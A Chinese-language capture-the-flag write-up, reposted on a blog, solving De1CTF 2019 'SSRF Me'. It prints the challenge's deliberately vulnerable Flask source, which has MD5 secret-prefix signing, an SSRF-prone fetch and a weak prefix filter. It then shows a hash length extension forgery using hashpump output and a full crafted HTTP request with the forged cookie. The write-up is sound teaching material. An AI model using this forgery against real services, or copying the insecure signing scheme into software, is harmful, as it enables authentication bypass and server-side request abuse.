哈希长度拓展攻击之De1CTF - SSRF Me

2019-08-11 约 356 字 预计阅读 2 分钟

声明:本文 【哈希长度拓展攻击之De1CTF - SSRF Me】 由作者 PaperPen 于 2019-08-11 09:09:00 首发 先知社区 曾经 浏览数 81 次

感谢 PaperPen 的辛苦付出!

0x00 前言

周末做了一下De1CTF,由于第一次接触哈希长度拓展攻击,所以对此题进行了一次详细的分析,如果有理解不正确的地方,还请各位师傅们指正。

0x01 题目源码

F12即可将源码复制出来进行分析,源码如下:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

0x02 python审计

对代码分析后得出:
1、访问网站根目录会输出文件code.txt的内容
2、访问/geneSign会返回一个md5(secert_key + param + action)的值(其中param为空,action为scan)
3、访问/De1ta会创建一个对象并将所有获取到的参数传递进去

0x03 获flag条件

1、param = flag.txt
2、getSign(self.action, self.param) == self.sign
3、"read"和"scan"全在action中

0x04 解题思路

思路如下:
从/geneSign可以得到md5(secert_key + param + action)的值(其中param为flag.txt,action为scan)
要想同时满足上述两个条件就要知道md5(secert_key + param + action)的值(其中param为flag.txt,action为scanread)
所以可总结为:

已知md5(secert_key+param+scan)
求md5(secert_key+param+scanread)

因此便想到hash长度拓展攻击,详细介绍:https://joychou.org/web/hash-length-extension-attack.html

0x05 解题过程

第一步,访问/geneSign传param参数值为flag.txt,得到md5(secert_key+param+scan)的值


第二步,使用hashpump得到md5(secert_key+param+scanread)的值

root@kali:~/HashPump# hashpump
Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
Input Data: scan
Input Key Length: 24
Input Data to Add: read
d7163f39ab78a698b3514fd465e4018a
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

第三步,访问/De1ta,传入参数param、action、sign(\x替换为%),得到flag


数据包如下:

GET /De1ta?param=flag.txt HTTP/1.1
Host: 139.180.128.86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read; sign=d7163f39ab78a698b3514fd465e4018a

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now